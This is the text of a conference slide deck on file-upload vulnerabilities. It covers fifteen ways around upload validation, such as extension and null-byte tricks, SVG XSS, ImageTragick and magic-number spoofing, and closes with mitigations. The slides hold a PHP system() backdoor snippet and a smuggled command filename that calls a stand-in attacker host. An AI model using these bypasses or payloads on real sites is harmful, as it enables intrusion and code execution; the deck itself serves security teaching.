SlideShare a Scribd company logo
1 of 31
Ebrahim Hegazy
15 Technique to Exploit File Upload Pages
Senior Consultant @ Deloitte
About me
Security Guy!
About me
Top Yahoo Security Researcher
Agenda
• Target of the session
• How file upload pages works?
• Bypassing Developers validation of:
– Filename only (Whitelist)
– Filename only (Blacklist)
– File Type only
– File Contents only
– Filename and File-type
– File type and File-contents
– Filename, File-type and File content
– Exploiting Server Side Libraries
– Forcing the files to be downloadable not executable
– Exploitation of other common developers mistakes
• Conclusion
Target of the Session
The main target of this session is:
• Gathering all techniques in one place to aid penetration testers and bug hunters during their assessments.
• Helping developers understand how hackers bypass their validations in order to better protect their Apps.
Teaser!
File upload pages and its main headers
For every file upload page, there are some headers that always exist. Lets name it main
headers.
The main headers are:
• File Name
• File Type
• Magic Number
• File Content
• File Size
Bypassing Developers Validation
Scenarios:
In the coming slides, we will go through different scenarios of how developers validates the uploaded
files and how Pentesters can bypass it.
Scenario 1 (BlackList)
Blacklisting Dangerous files?
The developer validates that the uploaded file doesn‟t have or contain .php, PHP, or php5 etc via
black-listing technique.
Bypass:
Above Regex is vulnerable as it doesn‟t check the case insensitivity of file extension.
Mitigation:
^.*.(php|php1|php2|php3|php4|php5|php6|php7|phtml|exe)$/i
Scenario 2 (Apache-Linux)
Properly Blacklisting .php files
The developer properly validate that the uploaded file doesn‟t have or contain .php, PHP, or php5 etc
via black-listing technique.
How to bypass:
We can bypass this validation using the .pht files. The PHT file stores HTML page that includes a
PHP script.
Scenario 2 (IIS-Windows)
On windows servers, if the same validation is done for asp pages, we can bypass it using .cer & .asa
extensions. IIS <= 7.5 have Both *.asp and *.cer mapped to asp.dll, thus executing ASP code.
Scenario 3 (BlackList)
Bypassing all executabel extensions?
In this scenario the developer is black-listing all dangerous extensions that would allow code
execution. But how about using .eml to trigger a Stored XSS?
Source: https://jankopecky.net/index.php/2017/04/18/0day-textplain-considered-harmful/
Scenario 4
Validating Filename only (Whitelist):
In this scenario, the developer is validating the filename ONLY by Whitelisting .jpg via server-side code, using below Regex
Scenario 4
Validating Filename only (Whitelist):
The regex is NOT properly implemented. It validates that the filename contains .jpg but doesn‟t validate that the filename
ends with .jpg
Moreover on While-listing:
^.*(jpg|gif|png)$i
Regex doesn‟t contain Dot, means it only makes sure that file ends with allowed filenames:
File.php.jkha11111jpg
Scenario 5
Null Byte Injection
The null character is a control character with the value zero. PHP treats the Null Bytes %00 as a terminator (same as C
does). Thus, renaming your file to be shell.php%001.jpg or shell.phpx00.jpg shall satisfy the file upload page because
the file ends with .jpg, but the file will be treated as .php due to termination of whatever after the Null Byte.
Note: renaming the file to shell.phpD.jpg, upload it and then replace the hex represntaion of D with 00 will
also work.
Scenario 6
If the application allows upload of .svg images
SVG images are just XML data. Using XML you can achieve lots of vulnerabilities, for instance a Stored XSS as below.
Scenario 7
Allowing video uploads?
Due to a SSRF vulnerability in ffmpeg library, it is possible to create a video file that when uploaded to any
application that supports video files (i.e Youtube, vk, Flicker etc) you will be able to read files from that
server when you try to watch the video!
Command: ffmpeg -i video.avi{m3u} video.mp4 - https://github.com/neex/ffmpeg-avi-m3u-xbin/
Scenario 8
Directory Traversal
You can upload your file with the name of “../../../logo.jpg” for example to replace the main website logo. This issue happens
due to lack of validating the filename.
Scenario 9
Validating the file content and missing the file-name.
Developer is passing the uploaded file to PHP-GD library to make sure that the uploaded file is an image and doesn‟t
contain meta-data, however, not validating the uploaded file name.
How to bypass:
• We get a normal image, convert it using the php-gd library
• Now we have 2 files, we convert it to hex and start searching for identical bytes
• When finding the identical bytes, we replace those bytes with out backdoor code (i.e.
<?system($GET[„x‟]);?>)
Scenario 9 POC
Validating the file content and missing the file-name.
Developer is passing the uploaded file to PHP-GD library to make sure that the uploaded file is an image
and doesn‟t contain meta-data, however, not validating the uploaded file name.
https://secgeek.net/bookfresh-vulnerability/
Scenario 10
Image Tragic Attack
SVG images are just XML data. Using XML you can achieve lots of vulnerabilities, for instance ImageMagic which is an
image processing library vulnerable to SSRF and RCE vulnerabilities.
Source (Facebook RCE): http://4lemon.ru/2017-01-17_facebook_imagetragick_remote_code_execution.html
Scenario 11
Exploiting old IIS servers
IIS in its earlier versions < 7.0 had an issue handling the uploaded files. An attacker can bypass the file upload pages using
filename as: shell.aspx;1.jpg
Scenario 12
DOS Attack
Web applications that doesn‟t validate the file-size of the uploaded files are vulnerable to DOS attack as an attacker can
upload many large files which will exhaust the server hosting space.
Scenario 13
Magic Numbers
Developers validates the file-contents starts with Magic Numbers and the file-content is set to image/gif.
Exploit:
Uploading shell.php but setting the content type to image/gif and starting the file contants with GIF89a; will do the job!
RCE via zip files
Developers accepts zip file, but handle filenames via command line.
Exploit:
Filename;curl attacker.com;pwd.jpg
Scenario 14
OOB SQL Injection via filename:
If the developers are trusting the filenames and pass it directly to the Database, this will allow attackers to execute Out of
Band SQL Injection. A good scenario would be companies asking you to submit your CV without validating the CV name.
Scenario 15
Cross Domain Content Hijacking
When developers are validating the uploaded filename, content-type but missing to validate the uploaded file content. It is
possible to upload a Flash file with .jpg extension, then call that flash file with <object tags in your website and Bingo, you
are able to do Cross Origin Requests to steal CSRF tokens.
How browsers see it?
1. Plugins like Flash doesn't care about the extension or content-type
2. If the file is embeded using <object> tag, it will be executed as a Flash file as long as the file content looks
like Flash.
https://github.com/nccgroup/CrossSiteContentHijacking
Conclusion
Suggested techniques of better handling the file-upload pages
• Always use a sandbox domain to store uploaded files
• Use CDN servers as it only allows cacheable resources and disable executable files such as php
• Rename the uploaded files to some random filenames, remove the file extension and then append your
allowed file extension.
• Mark all files as downloadable not executable (Content-Deposition)
• Validate the file-size.
Stay in Touch!
Twitter: Zigoo0
Email: Ehegazy@deloitte.nl
Site: www.Sec-Down.com
Деякі випадкові
слова, щоб інші
думали, що я володію
українською мовою!
Ale ya ne volodiyu :D

More Related Content

What's hot

Directory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion AttacksDirectory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion AttacksRaghav Bisht
 
A story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMA story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMFrans Rosén
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionSoroush Dalili
 
HTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versionsHTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versionsneexemil
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug BountiesOWASP Nagpur
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) securityNahidul Kibria
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016Frans Rosén
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesFrans Rosén
 
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityMikhail Egorov
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraMathias Karlsson
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016bugcrowd
 
Host Header injection - Slides
Host Header injection - SlidesHost Header injection - Slides
Host Header injection - SlidesAmit Dubey
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionVishal Kumar
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourSoroush Dalili
 
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Daniel Tumser
 
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricksGarethHeyes
 

What's hot (20)

Directory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion AttacksDirectory Traversal & File Inclusion Attacks
Directory Traversal & File Inclusion Attacks
 
A story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEMA story of the passive aggressive sysadmin of AEM
A story of the passive aggressive sysadmin of AEM
 
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 EditionGoing Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
Going Beyond Microsoft IIS Short File Name Disclosure - NahamCon 2023 Edition
 
HTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versionsHTTP Request Smuggling via higher HTTP versions
HTTP Request Smuggling via higher HTTP versions
 
SSRF For Bug Bounties
SSRF For Bug BountiesSSRF For Bug Bounties
SSRF For Bug Bounties
 
Local File Inclusion to Remote Code Execution
Local File Inclusion to Remote Code ExecutionLocal File Inclusion to Remote Code Execution
Local File Inclusion to Remote Code Execution
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) securityPenetration testing web application web application (in) security
Penetration testing web application web application (in) security
 
Frans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides AhmedabadFrans Rosén Keynote at BSides Ahmedabad
Frans Rosén Keynote at BSides Ahmedabad
 
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
The Secret Life of a Bug Bounty Hunter – Frans Rosén @ Security Fest 2016
 
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web TechnologiesOWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
OWASP AppSecEU 2018 – Attacking "Modern" Web Technologies
 
A Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications securityA Hacker's perspective on AEM applications security
A Hacker's perspective on AEM applications security
 
Polyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPraPolyglot payloads in practice by avlidienbrunn at HackPra
Polyglot payloads in practice by avlidienbrunn at HackPra
 
IDOR Know-How.pdf
IDOR Know-How.pdfIDOR Know-How.pdf
IDOR Know-How.pdf
 
Offzone | Another waf bypass
Offzone | Another waf bypassOffzone | Another waf bypass
Offzone | Another waf bypass
 
Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016Bug Bounty Hunter Methodology - Nullcon 2016
Bug Bounty Hunter Methodology - Nullcon 2016
 
Host Header injection - Slides
Host Header injection - SlidesHost Header injection - Slides
Host Header injection - Slides
 
Deep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL InjectionDeep understanding on Cross-Site Scripting and SQL Injection
Deep understanding on Cross-Site Scripting and SQL Injection
 
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ BehaviourWAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
WAF Bypass Techniques - Using HTTP Standard and Web Servers’ Behaviour
 
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS)
 
XSS Magic tricks
XSS Magic tricksXSS Magic tricks
XSS Magic tricks
 

Similar to "15 Technique to Exploit File Upload Pages", Ebrahim Hegazy

Php File Upload
Php File UploadPhp File Upload
Php File Uploadsaeel005
 
Web security programming_ii
Web security programming_iiWeb security programming_ii
Web security programming_iigoogli
 
Web Security Programming I I
Web  Security  Programming  I IWeb  Security  Programming  I I
Web Security Programming I IPavu Jas
 
Web security programming_ii
Web security programming_iiWeb security programming_ii
Web security programming_iigoogli
 
Remote file path traversal attacks for fun and profit
Remote file path traversal attacks for fun and profitRemote file path traversal attacks for fun and profit
Remote file path traversal attacks for fun and profitDharmalingam Ganesan
 
Web Browsers And Other Mistakes
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakesguest2821a2
 
Session9-File Upload Security
Session9-File Upload SecuritySession9-File Upload Security
Session9-File Upload Securityzakieh alizadeh
 
Web-servers & Application Hacking
Web-servers & Application HackingWeb-servers & Application Hacking
Web-servers & Application HackingRaghav Bisht
 
Slides of ARPCON (File upload vulnerability by Raju Kumar)
Slides of ARPCON (File upload vulnerability by Raju Kumar)Slides of ARPCON (File upload vulnerability by Raju Kumar)
Slides of ARPCON (File upload vulnerability by Raju Kumar)RAJUKUMAR396
 
Anant kochhar _revealing_the_secrets - ClubHack2009
Anant kochhar _revealing_the_secrets - ClubHack2009Anant kochhar _revealing_the_secrets - ClubHack2009
Anant kochhar _revealing_the_secrets - ClubHack2009ClubHack
 
TakeDownCon Rocket City: WebShells by Adrian Crenshaw
TakeDownCon Rocket City: WebShells by Adrian CrenshawTakeDownCon Rocket City: WebShells by Adrian Crenshaw
TakeDownCon Rocket City: WebShells by Adrian CrenshawEC-Council
 
Malicious file upload attacks - a case study
Malicious file upload attacks - a case studyMalicious file upload attacks - a case study
Malicious file upload attacks - a case studyOktawian Powazka
 
Web Browsers And Other Mistakes
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakeskuza55
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Divyanshu
 

Similar to "15 Technique to Exploit File Upload Pages", Ebrahim Hegazy (20)

Php File Upload
Php File UploadPhp File Upload
Php File Upload
 
demo1
demo1demo1
demo1
 
Web security programming_ii
Web security programming_iiWeb security programming_ii
Web security programming_ii
 
Web Security Programming I I
Web  Security  Programming  I IWeb  Security  Programming  I I
Web Security Programming I I
 
Web security programming_ii
Web security programming_iiWeb security programming_ii
Web security programming_ii
 
Remote file path traversal attacks for fun and profit
Remote file path traversal attacks for fun and profitRemote file path traversal attacks for fun and profit
Remote file path traversal attacks for fun and profit
 
Web Browsers And Other Mistakes
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakes
 
Session9-File Upload Security
Session9-File Upload SecuritySession9-File Upload Security
Session9-File Upload Security
 
File uploads
File uploadsFile uploads
File uploads
 
Web-servers & Application Hacking
Web-servers & Application HackingWeb-servers & Application Hacking
Web-servers & Application Hacking
 
Slides of ARPCON (File upload vulnerability by Raju Kumar)
Slides of ARPCON (File upload vulnerability by Raju Kumar)Slides of ARPCON (File upload vulnerability by Raju Kumar)
Slides of ARPCON (File upload vulnerability by Raju Kumar)
 
Anant kochhar _revealing_the_secrets - ClubHack2009
Anant kochhar _revealing_the_secrets - ClubHack2009Anant kochhar _revealing_the_secrets - ClubHack2009
Anant kochhar _revealing_the_secrets - ClubHack2009
 
TakeDownCon Rocket City: WebShells by Adrian Crenshaw
TakeDownCon Rocket City: WebShells by Adrian CrenshawTakeDownCon Rocket City: WebShells by Adrian Crenshaw
TakeDownCon Rocket City: WebShells by Adrian Crenshaw
 
Malicious file upload attacks - a case study
Malicious file upload attacks - a case studyMalicious file upload attacks - a case study
Malicious file upload attacks - a case study
 
Web Browsers And Other Mistakes
Web Browsers And Other MistakesWeb Browsers And Other Mistakes
Web Browsers And Other Mistakes
 
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
Browser Hacking For Fun and Profit | Null Bangalore Meetup 2019 | Divyanshu S...
 
File upload.pdf
File upload.pdfFile upload.pdf
File upload.pdf
 
your browser, your storage
your browser, your storageyour browser, your storage
your browser, your storage
 
File handling
File handlingFile handling
File handling
 
Flyr PHP micro-framework
Flyr PHP micro-frameworkFlyr PHP micro-framework
Flyr PHP micro-framework
 

More from HackIT Ukraine

"CyberGuard — проект государственно-частного партнерства по созданию киберцен...
"CyberGuard — проект государственно-частного партнерства по созданию киберцен..."CyberGuard — проект государственно-частного партнерства по созданию киберцен...
"CyberGuard — проект государственно-частного партнерства по созданию киберцен...HackIT Ukraine
 
"В поисках уязвимостей мобильных приложений", Алексей Голубев
"В поисках уязвимостей мобильных приложений", Алексей Голубев"В поисках уязвимостей мобильных приложений", Алексей Голубев
"В поисках уязвимостей мобильных приложений", Алексей ГолубевHackIT Ukraine
 
"Безопасность и надежность ПО в техногенном мире", Владимир Обризан
"Безопасность и надежность ПО в техногенном мире", Владимир Обризан"Безопасность и надежность ПО в техногенном мире", Владимир Обризан
"Безопасность и надежность ПО в техногенном мире", Владимир ОбризанHackIT Ukraine
 
"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов
"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов
"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий КайдаловHackIT Ukraine
 
"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов
"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов
"Безопасные Биткоин-транзакции без специального оборудования", Алексей КаракуловHackIT Ukraine
 
"Growth hack в маркетинге и бизнесе", Максим Мирошниченко
"Growth hack в маркетинге и бизнесе", Максим Мирошниченко"Growth hack в маркетинге и бизнесе", Максим Мирошниченко
"Growth hack в маркетинге и бизнесе", Максим МирошниченкоHackIT Ukraine
 
"Как ловят хакеров в Украине", Дмитрий Гадомский
"Как ловят хакеров в Украине", Дмитрий Гадомский"Как ловят хакеров в Украине", Дмитрий Гадомский
"Как ловят хакеров в Украине", Дмитрий ГадомскийHackIT Ukraine
 
"Security Requirements Engineering", Oleksii Baranovskyi
"Security Requirements Engineering", Oleksii Baranovskyi"Security Requirements Engineering", Oleksii Baranovskyi
"Security Requirements Engineering", Oleksii BaranovskyiHackIT Ukraine
 
"Наступну атаку можна попередити", Олександр Чубарук
"Наступну атаку можна попередити", Олександр Чубарук"Наступну атаку можна попередити", Олександр Чубарук
"Наступну атаку можна попередити", Олександр ЧубарукHackIT Ukraine
 
"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin
"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin
"Preventing Loss of Personal Data on a Mobile Network", Oleksii LukinHackIT Ukraine
 
"How to make money with Hacken?", Dmytro Budorin
"How to make money with Hacken?", Dmytro Budorin"How to make money with Hacken?", Dmytro Budorin
"How to make money with Hacken?", Dmytro BudorinHackIT Ukraine
 
"Using cryptolockers as a cyber weapon", Alexander Adamov
"Using cryptolockers as a cyber weapon", Alexander Adamov"Using cryptolockers as a cyber weapon", Alexander Adamov
"Using cryptolockers as a cyber weapon", Alexander AdamovHackIT Ukraine
 
"Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde...
"Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde..."Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde...
"Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde...HackIT Ukraine
 
"Bypassing two factor authentication", Shahmeer Amir
"Bypassing two factor authentication", Shahmeer Amir"Bypassing two factor authentication", Shahmeer Amir
"Bypassing two factor authentication", Shahmeer AmirHackIT Ukraine
 
"Системы уникализации и идентификации пользователей в сети. Методы защиты от ...
"Системы уникализации и идентификации пользователей в сети. Методы защиты от ..."Системы уникализации и идентификации пользователей в сети. Методы защиты от ...
"Системы уникализации и идентификации пользователей в сети. Методы защиты от ...HackIT Ukraine
 
"Introduction to Bug Hunting", Yasser Ali
"Introduction to Bug Hunting", Yasser Ali"Introduction to Bug Hunting", Yasser Ali
"Introduction to Bug Hunting", Yasser AliHackIT Ukraine
 
"Hack it. Found it. Sell it. How hackers can be successful in the business wo...
"Hack it. Found it. Sell it. How hackers can be successful in the business wo..."Hack it. Found it. Sell it. How hackers can be successful in the business wo...
"Hack it. Found it. Sell it. How hackers can be successful in the business wo...HackIT Ukraine
 
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...HackIT Ukraine
 
Владимир Махитко - Automotive security. New challenges
Владимир Махитко - Automotive security. New challengesВладимир Махитко - Automotive security. New challenges
Владимир Махитко - Automotive security. New challengesHackIT Ukraine
 
Алексей Старов - Как проводить киберраследования?
Алексей Старов - Как проводить киберраследования?Алексей Старов - Как проводить киберраследования?
Алексей Старов - Как проводить киберраследования?HackIT Ukraine
 

More from HackIT Ukraine (20)

"CyberGuard — проект государственно-частного партнерства по созданию киберцен...
"CyberGuard — проект государственно-частного партнерства по созданию киберцен..."CyberGuard — проект государственно-частного партнерства по созданию киберцен...
"CyberGuard — проект государственно-частного партнерства по созданию киберцен...
 
"В поисках уязвимостей мобильных приложений", Алексей Голубев
"В поисках уязвимостей мобильных приложений", Алексей Голубев"В поисках уязвимостей мобильных приложений", Алексей Голубев
"В поисках уязвимостей мобильных приложений", Алексей Голубев
 
"Безопасность и надежность ПО в техногенном мире", Владимир Обризан
"Безопасность и надежность ПО в техногенном мире", Владимир Обризан"Безопасность и надежность ПО в техногенном мире", Владимир Обризан
"Безопасность и надежность ПО в техногенном мире", Владимир Обризан
 
"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов
"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов
"Технология блокчейн: новые возможности и новые уязвимости", Дмитрий Кайдалов
 
"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов
"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов
"Безопасные Биткоин-транзакции без специального оборудования", Алексей Каракулов
 
"Growth hack в маркетинге и бизнесе", Максим Мирошниченко
"Growth hack в маркетинге и бизнесе", Максим Мирошниченко"Growth hack в маркетинге и бизнесе", Максим Мирошниченко
"Growth hack в маркетинге и бизнесе", Максим Мирошниченко
 
"Как ловят хакеров в Украине", Дмитрий Гадомский
"Как ловят хакеров в Украине", Дмитрий Гадомский"Как ловят хакеров в Украине", Дмитрий Гадомский
"Как ловят хакеров в Украине", Дмитрий Гадомский
 
"Security Requirements Engineering", Oleksii Baranovskyi
"Security Requirements Engineering", Oleksii Baranovskyi"Security Requirements Engineering", Oleksii Baranovskyi
"Security Requirements Engineering", Oleksii Baranovskyi
 
"Наступну атаку можна попередити", Олександр Чубарук
"Наступну атаку можна попередити", Олександр Чубарук"Наступну атаку можна попередити", Олександр Чубарук
"Наступну атаку можна попередити", Олександр Чубарук
 
"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin
"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin
"Preventing Loss of Personal Data on a Mobile Network", Oleksii Lukin
 
"How to make money with Hacken?", Dmytro Budorin
"How to make money with Hacken?", Dmytro Budorin"How to make money with Hacken?", Dmytro Budorin
"How to make money with Hacken?", Dmytro Budorin
 
"Using cryptolockers as a cyber weapon", Alexander Adamov
"Using cryptolockers as a cyber weapon", Alexander Adamov"Using cryptolockers as a cyber weapon", Alexander Adamov
"Using cryptolockers as a cyber weapon", Alexander Adamov
 
"Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde...
"Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde..."Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde...
"Cryptography, Data Protection, and Security For Start-Ups In The Post Snowde...
 
"Bypassing two factor authentication", Shahmeer Amir
"Bypassing two factor authentication", Shahmeer Amir"Bypassing two factor authentication", Shahmeer Amir
"Bypassing two factor authentication", Shahmeer Amir
 
"Системы уникализации и идентификации пользователей в сети. Методы защиты от ...
"Системы уникализации и идентификации пользователей в сети. Методы защиты от ..."Системы уникализации и идентификации пользователей в сети. Методы защиты от ...
"Системы уникализации и идентификации пользователей в сети. Методы защиты от ...
 
"Introduction to Bug Hunting", Yasser Ali
"Introduction to Bug Hunting", Yasser Ali"Introduction to Bug Hunting", Yasser Ali
"Introduction to Bug Hunting", Yasser Ali
 
"Hack it. Found it. Sell it. How hackers can be successful in the business wo...
"Hack it. Found it. Sell it. How hackers can be successful in the business wo..."Hack it. Found it. Sell it. How hackers can be successful in the business wo...
"Hack it. Found it. Sell it. How hackers can be successful in the business wo...
 
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...
Alfonso De Gregorio - Vulnerabilities and Their Surrounding Ethical Questions...
 
Владимир Махитко - Automotive security. New challenges
Владимир Махитко - Automotive security. New challengesВладимир Махитко - Automotive security. New challenges
Владимир Махитко - Automotive security. New challenges
 
Алексей Старов - Как проводить киберраследования?
Алексей Старов - Как проводить киберраследования?Алексей Старов - Как проводить киберраследования?
Алексей Старов - Как проводить киберраследования?
 

Recently uploaded

A Framework for Development in the AI Age
A Framework for Development in the AI AgeA Framework for Development in the AI Age
A Framework for Development in the AI AgeCprime
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...
The Future Roadmap for the Composable Data Stack - Wes McKinney - Data Counci...Wes McKinney
 
Manual 508 Accessibility Compliance Audit
Manual 508 Accessibility Compliance AuditManual 508 Accessibility Compliance Audit
Manual 508 Accessibility Compliance AuditSkynet Technologies
 
Sample pptx for embedding into website for demo
Sample pptx for embedding into website for demoSample pptx for embedding into website for demo
Sample pptx for embedding into website for demoHarshalMandlekar2
 
Assure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyesAssure Ecommerce and Retail Operations Uptime with ThousandEyes
Assure Ecommerce and Retail Operations Uptime with ThousandEyesThousandEyes
 
Moving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfMoving Beyond Passwords: FIDO Paris Seminar.pdf
Moving Beyond Passwords: FIDO Paris Seminar.pdfLoriGlavin3
 
What is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfWhat is DBT - The Ultimate Data Build Tool.pdf
What is DBT - The Ultimate Data Build Tool.pdfMounikaPolabathina
 
Emixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentEmixa Mendix Meetup 11 April 2024 about Mendix Native development
Emixa Mendix Meetup 11 April 2024 about Mendix Native developmentPim van der Noll
 
Modern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better StrongerModern Roaming for Notes and Nomad – Cheaper Faster Better Stronger
Modern Roaming for Notes and Nomad – Cheaper Faster Better Strongerpanagenda
 
So einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfSo einfach geht modernes Roaming fuer Notes und Nomad.pdf
So einfach geht modernes Roaming fuer Notes und Nomad.pdfpanagenda
 
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...
Unleashing Real-time Insights with ClickHouse_ Navigating the Landscape in 20...Alkin Tezuysal
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
Generative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersGenerative AI for Technical Writer or Information Developers
Generative AI for Technical Writer or Information DevelopersRaghuram Pandurangan
 
Scale your database traffic with Read & Write split using MySQL Router
